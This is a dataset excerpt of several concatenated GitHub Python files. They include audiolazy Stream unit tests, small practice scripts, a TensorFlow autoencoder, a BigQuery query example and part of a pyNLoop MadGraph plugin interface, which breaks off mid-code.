imag.copy().take(6)\n sum_data = data.copy().real + data.copy().imag\n assert sum_data.take(6) == (real + imag).take(6)\n\n def test_no_boolean(self):\n with pytest.raises(TypeError):\n bool(Stream(xrange(2)))\n\n @p(\"op\", [operator.div, operator.truediv])\n def test_div_truediv(self, op):\n input1 = [1, 5, 7., 3.3]\n input2 = [9.2, 10, 11, 4.9]\n data = op(Stream(input1), Stream(input2))\n expected = [operator.truediv(x, y) for x, y in xzip(input1, input2)]\n assert isinstance(data, Stream)\n assert list(data) == expected\n\n def test_next(self):\n \"\"\" Streams should have no \"next\" method! \"\"\"\n assert not hasattr(Stream(2), NEXT_NAME)\n\n def test_peek_take(self):\n data = Stream([1, 4, 3, 2])\n assert data.peek(3) == [1, 4, 3]\n assert data.peek() == 1\n assert data.take() == 1\n assert data.peek() == 4\n assert data.peek(3) == [4, 3, 2]\n assert data.peek() == 4\n assert data.take() == 4\n assert data.peek(3) == [3, 2]\n assert data.peek(3, tuple) == (3, 2)\n assert data.peek(inf, tuple) == (3, 2)\n assert data.take(inf, tuple) == (3, 2)\n assert data.peek(1) == []\n assert data.take(1) == []\n assert data.take(inf) == []\n assert Stream([1, 4, 3, 2]).take(inf) == [1, 4, 3, 2]\n with pytest.raises(StopIteration):\n data.peek()\n with pytest.raises(StopIteration):\n data.take()\n\n def test_skip_periodic_data(self):\n data = Stream(5, Stream, .2)\n assert data.skip(1).peek(4) == [Stream, .2, 5, Stream]\n assert data.peek(4) == [Stream, .2, 5, Stream]\n assert data.skip(3).peek(4) == [Stream, .2, 5, Stream]\n assert data.peek(4) == [Stream, .2, 5, Stream]\n assert data.skip(2).peek(4) == [5, Stream, .2, 5]\n assert data.peek(4) == [5, Stream, .2, 5]\n\n def test_skip_finite_data(self):\n data = Stream(xrange(25))\n data2 = data.copy()\n assert data.skip(4).peek(4) == [4, 5, 6, 7]\n assert data2.peek(4) == [0, 1, 2, 3]\n assert data2.skip(30).peek(4) == []\n\n def test_skip_laziness(self):\n memory = {\"last\": 0}\n def tg():\n while True:\n memory[\"last\"] += 1\n yield memory[\"last\"]\n\n data = Stream(tg())\n assert data.take(3) == [1, 2, 3]\n data.skip(7)\n assert memory[\"last\"] == 3\n assert data.take() == 11\n assert memory[\"last\"] == 11\n\n def test_limit_from_beginning_from_finite_stream(self):\n assert Stream(xrange(25)).limit(10).take(inf) == orange(10)\n assert Stream(xrange(25)).limit(40).take(inf) == orange(25)\n assert Stream(xrange(25)).limit(24).take(inf) == orange(24)\n assert Stream(xrange(25)).limit(25).take(inf) == orange(25)\n assert Stream(xrange(25)).limit(26).take(inf) == orange(25)\n\n def test_limit_with_skip_from_finite_stream(self):\n assert Stream(xrange(45)).skip(2).limit(13).take(inf) == orange(2, 15)\n assert Stream(xrange(45)).limit(13).skip(3).take(inf) == orange(3, 13)\n\n @p(\"noise\", [-.3, 0, .1])\n def test_limit_from_periodic_stream(self, noise):\n assert Stream(0, 1, 2).limit(7 + noise).peek(10) == [0, 1, 2, 0, 1, 2, 0]\n data = Stream(-1, .2, it)\n assert data.skip(2).limit(9 + noise).peek(15) == [it, -1, .2] * 3\n\n @p(\"noise\", [-.3, 0., .1])\n def test_take_peek_skip_with_float(self, noise):\n data = [1.2, 7.7, 1e-3, 1e-17, 2e8, 27.1, 14.003, 1.0001, 7.3e5, 0.]\n ds = Stream(data)\n assert ds.limit(5 + noise).peek(10 - noise) == data[:5]\n assert ds.skip(1 + noise).limit(3 - noise).peek(10 + noise) == data[1:4]\n ds = Stream(data)\n assert ds.skip(2 + noise).peek(20 + noise) == data[2:]\n assert ds.skip(3 - noise).peek(20 - noise) == data[5:]\n assert ds.skip(4 + noise).peek(1 + noise) == [data[9]]\n ds = Stream(data)\n assert ds.skip(4 - noise).peek(2 - noise) == data[4:6]\n assert ds.skip(1 - noise).take(2 + noise) == data[5:7]\n assert ds.peek(inf) == data[7:]\n assert ds.take(inf) == data[7:]\n\n def test_take_peek_inf(self):\n data = list(xrange(30))\n ds1 = Stream(data)\n ds1.take(3)\n assert ds1.peek(inf) == data[3:]\n assert ds1.take(inf) == data[3:]\n ds2 = Stream(data)\n ds2.take(4)\n assert ds2.peek(inf * 2e-18) == data[4:] # Positive float\n assert ds2.take(inf * 1e-25) == data[4:]\n ds3 = Stream(data)\n ds3.take(1)\n assert ds3.peek(inf * 43) == data[1:] # Positive int\n assert ds3.take(inf * 200) == data[1:]\n\n def test_take_peek_nan(self):\n for dur in [nan, nan * 23, nan * -5, nan * .3, nan * -.18, nan * 0]:\n assert Stream(29).take(dur) == []\n assert Stream([23]).peek(dur) == []\n\n def test_take_peek_negative_or_zero(self):\n for dur in [-inf, inf * -1e-16, -1, -2, -.18, 0, 0., -0.]:\n assert Stream(1, 2, 3).take(dur) == []\n assert Stream(-1, -23).peek(dur) == []\n\n def test_take_peek_not_int_nor_float(self):\n for dur in [Stream, it, [], (2, 3), 3j]:\n with pytest.raises(TypeError):\n Stream([]).take(dur)\n with pytest.raises(TypeError):\n Stream([128]).peek(dur)\n\n def test_take_peek_none(self):\n data = Stream([Stream, it, [], (2, 3), 3j])\n assert data.peek() is Stream\n assert data.take() is Stream\n assert data.peek() is it\n assert data.take() is it\n assert data.peek() == []\n assert data.take() == []\n assert data.peek() == (2, 3)\n assert data.take() == (2, 3)\n assert data.peek() == 3j\n assert data.take() == 3j\n with pytest.raises(StopIteration):\n data.peek()\n with pytest.raises(StopIteration):\n data.take()\n\n @p(\"constructor\", [list, tuple, set, deque])\n def test_take_peek_constructor(self, constructor):\n ds = Stream([1, 2, 3] * 12)\n assert ds.peek(constructor=constructor) == 1\n assert ds.take(constructor=constructor) == 1\n assert ds.peek(constructor=constructor) == 2\n assert ds.take(constructor=constructor) == 2\n assert ds.peek(3, constructor=constructor) == constructor([3, 1, 2])\n assert ds.take(4, constructor=constructor) == constructor([3, 1, 2, 3])\n remain = constructor([1, 2, 3] * 10)\n assert ds.peek(inf, constructor=constructor) == remain\n assert ds.take(inf, constructor=constructor) == remain\n assert ds.peek(3, constructor=constructor) == constructor()\n assert ds.take(5, constructor=constructor) == constructor()\n\n def test_abs_step_by_step(self):\n data = [-1, 5, 2 + 3j, 8, -.7]\n ds = abs(Stream(data))\n assert isinstance(ds, Stream)\n assert ds.take(len(data)) == [abs(el) for el in data]\n assert ds.take(1) == [] # Finished\n\n def test_abs_take_peek(self):\n assert abs(Stream([])).peek(9) == [] # From empty Stream\n assert abs(Stream([5, -12, 14j, -2j, 0])).take(inf) == [5, 12, 14., 2., 0]\n data = abs(Stream([1.2, -1.57e-3, -(pi ** 2), -2j, 8 - 4j]))\n assert almost_eq(data.peek(inf), [1.2, 1.57e-3, pi ** 2, 2., 4 * 5 ** .5])\n assert data.take() == 1.2\n assert almost_eq(data.take(), 1.57e-3)\n\n\nclass TestEveryMapFilter(object):\n \"\"\"\n Tests Stream.map, Stream.filter, StreamTeeHub.map, StreamTeeHub.filter,\n lazy_itertools.imap and lazy_itertools.ifilter (map and filter in Python 3)\n \"\"\"\n\n map_filter_data = [orange(5), orange(9, 0, -2), [7, 22, -5], [8., 3., 15.],\n orange(20,40,3)]\n\n @p(\"data\", map_filter_data)\n @p(\"func\", [lambda x: x ** 2, lambda x: x // 2, lambda x: 18])\n def test_map(self, data, func):\n expected = [func(x) for x in data]\n assert list(Stream(data).map(func)) == expected\n assert list(xmap(func, data)) == expected # Tests the test...\n dt = thub(data, 2)\n assert isinstance(dt, StreamTeeHub)\n dt_data = dt.map(func)\n assert isinstance(dt_data, Stream)\n assert dt_data.take(inf) == expected\n assert list(dt.map(func)) == expected # Second copy\n with pytest.raises(IndexError):\n dt.map(func)\n\n @p(\"data\", map_filter_data)\n @p(\"func\", [lambda x: x > 0, lambda x: x % 2 == 0, lambda x: False])\n def test_filter(self, data, func):\n expected = [x for x in data if func(x)]\n assert list(Stream(data).filter(func)) == expected\n assert list(xfilter(func, data)) == expected # Tests the test...\n dt = thub(data, 2)\n assert isinstance(dt, StreamTeeHub)\n dt_data = dt.filter(func)\n assert isinstance(dt_data, Stream)\n assert dt_data.take(inf) == expected\n assert list(dt.filter(func)) == expected # Second copy\n with pytest.raises(IndexError):\n dt.filter(func)\n\n\nclass TestThub(object):\n\n copies_pairs = [ # Pairs (copies, used_copies) that worth testing\n (0, 1), (1, 0), (1, 1), (1, 2), (2, 0), (2, 1), (2, 2), (2, 3),\n (3, 0), (3, 1), (3, 2), (3, 3), (3, 4),\n (4, 0), (4, 1), (4, 2), (4, 3), (4, 4),\n ]\n\n @p((\"copies\", \"used_copies\"), copies_pairs)\n def test_memory_leak_warning_mock(self, copies, used_copies, monkeypatch):\n # Mock to bypass the warnings.filters and the weird \"pre-filters\"\n # __warningregistry__ behavior\n def warn(w):\n warn.warnings_list.append(w)\n warn.warnings_list = []\n\n gc.collect() # Clear warnings that might be pending from other tests\n monkeypatch.setattr(warnings, \"warn\", warn)\n\n def apply_test():\n types = [int, int, int, float, complex, float, type(thub), type(pytest)]\n sig = [4, 3, 2, 7e-18, 9j, .2, thub, pytest]\n data = thub(sig, copies)\n assert isinstance(data, StreamTeeHub)\n safe_copies = min(copies, used_copies)\n assert all(all(types == data.map(type)) for n in xrange(safe_copies))\n if copies < used_copies:\n with pytest.raises(IndexError):\n Stream(data)\n data.__del__() # Forcefully calls the destructor twice\n data.__del__()\n\n apply_test()\n gc.collect()\n\n # Expected results\n if copies > used_copies:\n w = warn.warnings_list.pop() # The only warning\n assert isinstance(w, MemoryLeakWarning)\n parts = [\"StreamTeeHub\", str(copies - used_copies)]\n assert all(part in str(w) for part in parts)\n assert not warn.warnings_list\n\n @p((\"copies\", \"used_copies\"), copies_pairs)\n def test_memory_leak_warning_recwarn(self, copies, used_copies, recwarn):\n sig = Stream(.5, 8, 7 + 2j)\n data = thub(sig, copies)\n assert isinstance(data, StreamTeeHub)\n if copies < used_copies:\n with pytest.raises(IndexError):\n [data * n for n in xrange(used_copies)]\n else:\n [data * n for n in xrange(used_copies)] # Use the copies\n\n # Clear warnings that might be pending from other tests\n gc.collect()\n recwarn.clear()\n\n # Clear warning registry from other tests in function globals\n if PYTHON2:\n del_globals = StreamTeeHub.__del__.im_func.func_globals\n else:\n del_globals = StreamTeeHub.__del__.__globals__\n wr = \"__warningregistry__\"\n if wr in del_globals:\n del_globals[wr].clear()\n\n # From now, look for every warning out there\n warnings.resetwarnings()\n warnings.simplefilter(\"always\")\n\n # Forcefully calls the destructor more than once\n data.__del__()\n data.__del__()\n del data\n gc.collect()\n\n # Expected results\n if copies != used_copies:\n w = recwarn.pop()\n assert issubclass(w.category, MemoryLeakWarning)\n assert str(copies - used_copies) in str(w.message)\n assert not recwarn.list\n\n def test_take_peek(self):\n data = Stream(1, 2, 3).limit(50)\n data = thub(data, 2)\n assert data.peek() == 1\n assert data.peek(.2) == []\n assert data.peek(1) == [1]\n with pytest.raises(AttributeError):\n data.take()\n assert data.peek(22) == Stream(1, 2, 3).take(22)\n assert data.peek(42.2) == Stream(1, 2, 3).take(42)\n with pytest.raises(AttributeError):\n data.take(2)\n assert data.peek(57.8) == Stream(1, 2, 3).take(50)\n assert data.peek(inf) == Stream(1, 2, 3).take(50)\n\n @p(\"noise\", [-.3, 0, .1])\n def test_limit(self, noise):\n source = [.1, -.2, 18, it, Stream]\n length = len(source)\n data = Stream(*source).limit(4 * length)\n data = thub(data, 3)\n\n # First copy\n first_copy = data.limit(length + noise)\n assert isinstance(first_copy, Stream)\n assert not isinstance(first_copy, StreamTeeHub)\n assert list(first_copy) == source\n\n # Second copy\n assert data.peek(3 - noise) == source[:3]\n assert Stream(data).take(inf) == 4 * source\n\n # Third copy\n third_copy = data.limit(5 * length + noise)\n assert isinstance(third_copy, Stream)\n assert not isinstance(third_copy, StreamTeeHub)\n assert third_copy.take(inf) == 4 * source\n\n # No more copies\n assert isinstance(data, StreamTeeHub)\n with pytest.raises(IndexError):\n data.limit(3)\n\n @p(\"noise\", [-.3, 0, .1])\n def test_skip_append(self, noise):\n source = [9, 14, -7, noise]\n length = len(source)\n data = Stream(*source).limit(7 * length)\n data = thub(data, 3)\n\n # First copy\n first_copy = data.skip(length + 1)\n assert isinstance(first_copy, Stream)\n assert not isinstance(first_copy, StreamTeeHub)\n assert first_copy is first_copy.append([8])\n assert list(first_copy) == source[1:] + 5 * source + [8]\n\n # Second and third copies\n assert data.skip(1 + noise).peek(3 - noise) == source[1:4]\n assert data.append([1]).skip(length - noise).take(inf) == 6 * source + [1]\n\n # No more copies\n assert isinstance(data, StreamTeeHub)\n with pytest.raises(IndexError):\n data.skip(1)\n with pytest.raises(IndexError):\n data.append(3)\n\n @p(\"size\", [4, 5, 6])\n @p(\"hop\", [None, 1, 5])\n def test_blocks(self, size, hop):\n copies = 8 - size\n source = Stream(7, 8, 9, -1, -1, -1, -1).take(40)\n data = thub(source, copies)\n expected = list(Stream(source).blocks(size=size, hop=hop).map(list))\n for _ in xrange(copies):\n blks = data.blocks(size=size, hop=hop).map(list)\n assert isinstance(blks, Stream)\n assert not isinstance(blks, StreamTeeHub)\n assert blks.take(inf) == expected\n with pytest.raises(IndexError):\n data.blocks(size=size, hop=hop)\n","repo_name":"danilobellini/audiolazy","sub_path":"audiolazy/tests/test_stream.py","file_name":"test_stream.py","file_ext":"py","file_size_in_byte":19685,"program_lang":"python","lang":"en","doc_type":"code","stars":671,"dataset":"github-code","pt":"69"} +{"seq_id":"19256146140","text":"\nmaster_string=\"abbcddeghgggt\"\ncheck_word=\"egg\"\nres=\"\"\ndic={}\nfor char in master_string:\n if char not in dic:\n dic[char]=1\n else:\n dic[char]+=1\nprint(dic)\nfor char in check_word:\n if char in check_word:\n count=dic.get(char)\n if count>0:\n res+=char\n dic[char]-=1\n else:\n break\n\nprint(res)\n\n","repo_name":"Nihala32/python","sub_path":"Django/chk.py","file_name":"chk.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"38472007881","text":"class Solution:\n def hIndex(self, citations: List[int]) -> int:\n #x = sorted(set(citations),reverse = True)\n #print(x)\n ans = 0\n for i in range(max(citations),0,-1):\n #print(i)\n cnt = 0\n for j in citations:\n if j >= i:\n cnt +=1\n #print(cnt)\n if cnt >= i:\n ans = i\n break\n return ans\n","repo_name":"SathwikReddyM/leetcode_practice","sub_path":"solutions_leetcode/problems/h-index/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"25286249265","text":"import json\nimport random\nimport threading\nimport time\nimport faker\nfrom .models import *\nfrom faker import Faker\n\n\nfake=Faker()\n\nclass CreateStudentThread(threading.Thread):\n def __init__(self, total):\n self.total = total\n # Call the Thread class's init function\n threading.Thread.__init__(self)\n \n def run(self):\n\n try:\n\n for i in range(self.total):\n print(i)\n student_obj = Student.objects.create(\n student_name = fake.name(),\n student_email = fake.email(),\n address = fake.address(),\n age = random.randint(10, 50),\n )\n\n except Exception as e:\n print(e)","repo_name":"sachinkumawat012/Best-practice","sub_path":"django_threads/core/home/threads.py","file_name":"threads.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"935807110","text":"import tensorflow as tf\nimport numpy as np\nfrom ..data.data_provider import DataProvider, TopicProvider, TfidfDataProvider\nfrom ...config.data_path_config import DataPathConfig\nfrom ...utils.tools import Tools\nfrom ..validate.score import Score\nfrom gensim import models,corpora\nimport os \n\nlearning_rate = 0.001\nbatch_size = 64\nhidden_size = 5000\n\nlog = Tools.get_logger('autoencoder')\n\nlog.info('init autoencoder')\nX = tf.placeholder(tf.float32, [None, 50000])\n\nefc1 = tf.contrib.layers.fully_connected(inputs=X, num_outputs=20000)\nefc2 = tf.contrib.layers.fully_connected(inputs=efc1, num_outputs=5000)\n\ndfc1 = tf.contrib.layers.fully_connected(inputs=efc2, num_outputs=20000)\ndfc2 = tf.contrib.layers.fully_connected(inputs=dfc1, num_outputs=50000)\n\ny_pred = dfc2\ny_true = X\n\ncost = tf.reduce_mean(tf.pow(y_pred - y_true, 2))\n\noptimizer = tf.train.RMSPropOptimizer(learning_rate).minimize(cost)\ninit = tf.global_variables_initializer()\n\nlog.info('init data provider')\ndp = TfidfDataProvider()\n\nwith tf.Session() as sess:\n sess.run(init)\n log.info('begin train')\n for idx in range(1000000):\n feed_dict = {X: dp.next(batch_size)}\n sess.run(optimizer, feed_dict=feed_dict)\n if idx % 10 == 0:\n loss = sess.run(cost, feed_dict=feed_dict)\n log.info('step: {}, loss: {:.4f}'.format(loss))\n log.info('finished trian')\n feed_dict = {X: dp.test()}\n loss = sess.run(cost, feed_dict)\n log.info('test loss: {:.4f}'.format(loss))\n","repo_name":"T-tssxuan/zhihu","sub_path":"zhihu/models/tfidf/autoencoder.py","file_name":"autoencoder.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"21826336352","text":"#Set path to credentials\nimport os\nos.environ[\"GOOGLE_APPLICATION_CREDENTIALS\"]=\".credentials/7Park-MGM-Studios-bff1a6ac9ced.json\"\n\n#Import bigquery\nfrom google.cloud import bigquery\n\n#Start bigquery client\nclient = bigquery.Client()\n\n#Setup query, high-empire-220313 is our project name\nquery_job = client.query(\n \"\"\"\n SELECT *\n FROM `high-empire-220313.test_construction.test`\n LIMIT 10\"\"\"\n)\n\n#Get results from a query\nresults = query_job.result() # Waits for job to complete.\n\n#Prints results\nfor row in results:\n print(f\"{row.period_id}\")","repo_name":"Msender98/7Park_Capstone","sub_path":"bigquery_example.py","file_name":"bigquery_example.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"4429482145","text":"#####################################################\n# #\n# Source file of the pyNLoop MG5aMC plugin. #\n# Use only with consent of its authors. #\n# #\n# author: Valentin Hirschi, Ben Ruijl #\n# #\n#####################################################\n\nimport os\nimport logging\nimport sys\nimport shutil\nimport re\nimport random\nimport sympy\nimport math\nimport timeit\nimport functools\nimport copy\n\nimport matplotlib.pyplot as plt\nfrom matplotlib.font_manager import FontProperties\n\nfrom distutils.version import LooseVersion, StrictVersion\n\nplugin_path = os.path.dirname(os.path.realpath( __file__ ))\nimport madgraph\n\nimport multiprocessing\n\nfrom madgraph import InvalidCmd, MadGraph5Error, MG5DIR, ReadWrite, MPI_RANK, MPI_SIZE, MPI_ACTIVE\nimport madgraph.interface.extended_cmd as cmd\nimport madgraph.interface.madgraph_interface as madgraph_interface\nimport madgraph.various.misc as misc\nimport madgraph.various.cluster as cluster\nimport madgraph.integrator.vectors as vectors\nimport madgraph.various.progressbar as pbar\n\nfrom madgraph.iolibs.files import cp, ln, mv\n\nimport madgraph.integrator.phase_space_generators as phase_space_generators\nfrom madgraph.integrator.vegas3_integrator import Vegas3Integrator\nfrom madgraph.integrator.pyCubaIntegrator import pyCubaIntegrator\n# It will be nice to experiment with Thomas Hahn's integrators too later\n# import madgraph.integrator.pyCubaIntegrator as pyCubaIntegrator\n\nimport nloop_integrands\nimport loop_momenta_generator\n\nlogger = logging.getLogger('pyNLoop.Interface')\ntry:\n import pysecdec_integrator\nexcept ImportError:\n logger.warning(\"Import of pySecDec fails; you will not be able integrate loops depending on this integrator.\")\n\npjoin = os.path.join\ntemplate_dir = pjoin(plugin_path, 'Templates')\n\nutf8_exp_chars = {\n 1 : u'\\u00b9',\n 2 : u'\\u00b2',\n 3 : u'\\u00b3',\n 4 : u'\\u2074',\n 5 : u'\\u2075',\n 6 : u'\\u2076',\n 7 : u'\\u2077',\n 8 : u'\\u2078',\n 9 : u'\\u2079',\n 0 : u'\\u2070',\n '-' : u'\\u207B',\n }\nEPSILONS= { -i : (u'\\u03B5\\u207B%s'%utf8_exp_chars[i]).encode('utf-8') for i in range(1,9) }\nEPSILONS.update({ i : (u'\\u03B5%s'%utf8_exp_chars[i]).encode('utf-8') for i in range(1,9) })\n\n\nclass pyNLoopInterfaceError(MadGraph5Error):\n \"\"\" Error for the pyNLoop plugin \"\"\"\n pass\n\nclass pyNLoopInvalidCmd(InvalidCmd):\n \"\"\" Invalid command issued to the pyNLoop interface. \"\"\"\n pass\n\nclass pyNLoopInterface(madgraph_interface.MadGraphCmd, cmd.CmdShell):\n \"\"\" Interface for steering the generation/output of pyNLoop.\n We make it inherit from CmdShell so that launch_ext_prog does not attempt to start in WebMode.\"\"\"\n \n _hardcoded_topologies = { \n 'dummy_function' : \n { 'class' : nloop_integrands.DummyNLoopIntegrand,\n 'n_loops' : 1,\n 'n_legs' : 4,\n 'masses' : [100., 200., 300., 400.]\n },\n 'box1L_offshell_massless' :\n { 'class' : nloop_integrands.box1L_offshell_massless,\n 'n_loops' : 1,\n 'n_legs' : 4,\n 'masses' : [100., 200., 300., 400.]\n },\n 'box1L' : \n { 'class' : nloop_integrands.box1L,\n 'n_loops' : 1,\n 'n_legs' : 4,\n 'masses' : [100., 0., 0., 0.]\n },\n 'box1L_onshell_massless' : \n { 'class' : nloop_integrands.box1L_onshell_massless,\n 'n_loops' : 1,\n 'n_legs' : 4,\n 'masses' : [0., 0., 0., 0.]\n },\n 'box1L_subtracted' : \n { 'class' : nloop_integrands.box1L_subtracted,\n 'n_loops' : 1,\n 'n_legs' : 4,\n 'masses' : [0., 0., 0., 0.]\n },\n 'box1L_subtracted_VH' : \n { 'class' : nloop_integrands.box1L_subtracted_VH,\n 'n_loops' : 1,\n 'n_legs' : 4,\n 'masses' : [0., 0., 0., 0.]\n },\n 'box1L_direct_integration':\n {'class': nloop_integrands.box1L_direct_integration,\n 'n_loops' : 1,\n 'n_legs' : 4,\n 'masses' : [100., 200., 300., 400.]\n },\n 'box1L_direct_integration_subtracted':\n {'class' : nloop_integrands.box1L_direct_integration_subtracted,\n 'n_loops' : 1,\n 'n_legs' : 4,\n 'masses' : [0., 0., 0., 0.]\n },\n 'box1L_direct_integration_one_offshell_subtracted':\n {'class' : nloop_integrands.box1L_direct_integration_subtracted,\n 'n_loops': 1,\n 'n_legs' : 4,\n 'masses' : [100., 0., 0., 0.]\n },\n }\n \n def validate_pySecDec_installation(self, pysecdec_path):\n \n necessary_lib_files = ['libcuba.a','libgsl.a','libgslcblas.a']\n for lib in necessary_lib_files:\n if not os.path.isfile(pjoin(pysecdec_path,'lib',lib)):\n return False\n necessary_bin_files = ['tform','form','gsl-config']\n for exe in necessary_bin_files:\n if not os.path.isfile(pjoin(pysecdec_path,'bin',exe)):\n return False\n return True\n \n def find_pySecDec_path(self):\n try:\n import pySecDec\n except ImportError:\n logger.warning(\n 'pyNLoop could not successfully import the pySecDec module.\\n'+\n 'Make sure it is specified in your $PYTHONPATH.')\n return ''\n pySecDec_root_path = os.path.abspath(\n pjoin(os.path.dirname(pySecDec.__file__), os.path.pardir,os.path.pardir))\n \n if LooseVersion(pySecDec.__version__) < LooseVersion(\"1.3.1\"):\n raise pyNLoopInvalidCmd('Detected pySecDec version = %s but minimum required is 1.3.1')\n \n if not self.validate_pySecDec_installation(pySecDec_root_path):\n raise pyNLoopInvalidCmd('PySecDec installation appears to be non-standard (i.e. standalone).')\n\n \n return pySecDec_root_path\n \n def __init__(self, *args, **opts):\n \"\"\" Define attributes of this class.\"\"\"\n \n self.pyNLoop_options = {\n # At first, we will limit ourselves to using a built-in distribution of pySecDec.\n 'pySecDec_path' : self.find_pySecDec_path(),\n 'integrator' : 'auto',\n 'parallelization' : 'multicore'\n }\n # Generic option for all integrators\n self.integrator_options = {\n # For Vegas3\n 'target_accuracy' : 1.0e-3,\n 'batch_size' : 1000,\n 'verbosity' : 1,\n 'survey_n_iterations' : 10,\n 'survey_n_points' : 10000,\n 'refine_n_iterations' : 1,\n 'refine_n_points' : 100000,\n # For Cuba, see pyCubaIntegrator constructor for the list.\n }\n\n super(pyNLoopInterface, self).__init__(*args, **opts)\n\n # Temporary force pySecDec dependencies to be used\n os.environ['PATH']= os.environ['PATH']+':'+pjoin(self.pyNLoop_options['pySecDec_path'], 'bin')\n\n if self.options['nb_core'] is None:\n n_cpus = multiprocessing.cpu_count()\n logger.info(\"The Madgraph5_aMC@NLO option 'nb_core' is not set. PyNLoop automatically sets this option to %d.\"%n_cpus)\n self.do_set('nb_core %d'%n_cpus)\n\n def parse_set_pyNLoop_option(self, args):\n \"\"\" Parsing arguments/options passed to the command set_pyNLoop option.\"\"\"\n\n options = { }\n\n # First combine all value of the options (starting with '--') separated by a space\n opt_args = []\n new_args = []\n for arg in args:\n if arg.startswith('--'):\n opt_args.append(arg)\n elif len(opt_args) > 0:\n opt_args[-1] += ' %s' % arg\n else:\n new_args.append(arg)\n\n for arg in opt_args:\n try:\n key, value = arg.split('=')\n except:\n key, value = arg, None\n key = key[2:]\n\n # All options are declared valid in this contex\n options[key] = eval(str(value))\n\n return new_args, options\n\n def do_display_pyNLoop_option(self, line):\n \"\"\" Display pyNLoop options\"\"\"\n logger.info('%sGeneral pyNLoop options%s'%(misc.bcolors.GREEN, misc.bcolors.ENDC))\n logger.info('%s-----------------------%s'%(misc.bcolors.GREEN, misc.bcolors.ENDC))\n for opt in sorted(self.pyNLoop_options.keys()):\n logger.info('%-30s : %s'%(opt, str(self.pyNLoop_options[opt])))\n logger.info('%sIntegrator options%s'%(misc.bcolors.GREEN, misc.bcolors.ENDC))\n logger.info('%s------------------%s'%(misc.bcolors.GREEN, misc.bcolors.ENDC))\n for opt in sorted(self.integrator_options.keys()):\n logger.info('%-30s : %s'%(opt, str(self.integrator_options[opt])))\n\n def do_set_pyNLoop_option(self, line):\n \"\"\" Logic for setting pyNLoop options.\"\"\"\n args = self.split_arg(line)\n args, options = self.parse_set_pyNLoop_option(args)\n key, value = args[:2]\n\n if key == 'integrator':\n if value not in ['Vegas3','pySecDec','Cuba','auto']:\n raise pyNLoopInvalidCmd(\n\"pyNLoop only supports Vegas3 and pySecDec integrator for now (or automatically set with value 'auto').\")\n self.pyNLoop_options['integrator'] = value\n for opt, opt_value in options.items():\n if opt=='nb_core':\n self.do_set('nb_core %d'%opt_value)\n else:\n self.integrator_options[opt] = opt_value\n\n elif key == 'parallelization':\n if value not in ['cluster', 'multicore']:\n raise pyNLoopInvalidCmd(\"pyNLoop only supports parallelization \"+\n \"modes 'cluser' and 'multicore'.\")\n self.pyNLoop_options['parallelization'] = value\n else:\n raise pyNLoopInvalidCmd(\"Unrecognized pyNLoop option: %s\"%key)\n \n def get_cluster(self, force_nb_cpu_cores=None):\n \"\"\"setup the number of cores for multicore, and the cluster-type for cluster runs\"\"\"\n\n options_to_pass_to_cluster = dict(self.options)\n if force_nb_cpu_cores:\n options_to_pass_to_cluster['nb_core'] = force_nb_cpu_cores\n\n if self.pyNLoop_options['parallelization'] == 'cluster':\n cluster_name = options_to_pass_to_cluster['cluster_type']\n try:\n return cluster.from_name[cluster_name](**options_to_pass_to_cluster)\n except KeyError:\n # Check if a plugin define this type of cluster\n # check for PLUGIN format\n cluster_class = misc.from_plugin_import(self.plugin_path, \n 'new_cluster', cluster_name,\n info = 'cluster handling will be done with PLUGIN: %{plug}s' )\n if cluster_class:\n return cluster_class(**options_to_pass_to_cluster)\n \n if self.pyNLoop_options['parallelization'] == 'multicore':\n try:\n import multiprocessing\n if not options_to_pass_to_cluster['nb_core']:\n options_to_pass_to_cluster['nb_core'] = multiprocessing.cpu_count()\n #logger.info('Using %d CPU cores' % options_to_pass_to_cluster['nb_core'])\n except ImportError:\n options_to_pass_to_cluster['nb_core'] = 1\n logger.warning('Impossible to detect the number of cores, therefore using one only.\\n'+\n 'Use set nb_core X in order to set this number and be able to'+\n 'run in multicore.')\n\n return cluster.MultiCore(**options_to_pass_to_cluster)\n\n def do_plot_deformation(self, line):\n \"\"\" Command for plotting the deformation along a given axis for a loop Feynman diagram.\"\"\"\n\n def map_to_infinity(x):\n return ((1./(1.-x)) - 1./x)\n def map_from_infinity(x):\n return -2./(-2.+x-math.sqrt(4.+x**2))\n def find_offshell_scaling(rv, q_i, mass):\n \"\"\" Find the value of the scaling of the reference vector q_i which sends this propagator (q_i, mass) onshell.\"\"\"\n\n m_sq = mass**2\n q_i_vec_sq = q_i[1]**2 + q_i[2]**2 + q_i[3]**2\n rv_vec_sq = rv[1]**2 + rv[2]**2 + rv[3]**2\n q_i_vec_dot_rv_vec = q_i[1]*rv[1] + q_i[2]*rv[2] + q_i[3]*rv[3]\n delta = rv[0]**2*(m_sq+q_i_vec_sq) - 2.*rv[0]*q_i[0]*q_i_vec_dot_rv_vec - \\\n rv_vec_sq*(m_sq-q_i[0]**2+q_i_vec_sq) + q_i_vec_dot_rv_vec**2\n if delta < 0.:\n return []\n\n return [\n (rv[0]*q_i[0] - q_i_vec_dot_rv_vec + math.sqrt(delta))/(rv[0]**2-rv_vec_sq),\n (rv[0]*q_i[0] - q_i_vec_dot_rv_vec - math.sqrt(delta))/(rv[0]**2-rv_vec_sq)\n ]\n\n ###########################################\n # Generate overall quantities for the test\n ###########################################\n\n args = self.split_arg(line)\n args, options = self.parse_plot_deformation_options(args)\n\n if options['seed']:\n random.seed(options['seed'])\n\n # Some sanity checks on the inputs\n if options['test']:\n if options['integration_space']:\n logger.warning('The deformation test is always performed directly in the physical loop momentum space.')\n options['integration_space'] = False\n\n if options['integration_space']:\n if any(item in options['items_to_plot'] for item in ['p','poles']):\n logger.warning('Poles will not be rendered when requiring to probe directly the space of integration variables.')\n options['items_to_plot'] = tuple( item for item in options['items_to_plot'] if item not in ['poles','p'])\n\n chosen_topology_name = args[0]\n if chosen_topology_name not in self._hardcoded_topologies:\n raise InvalidCmd('For 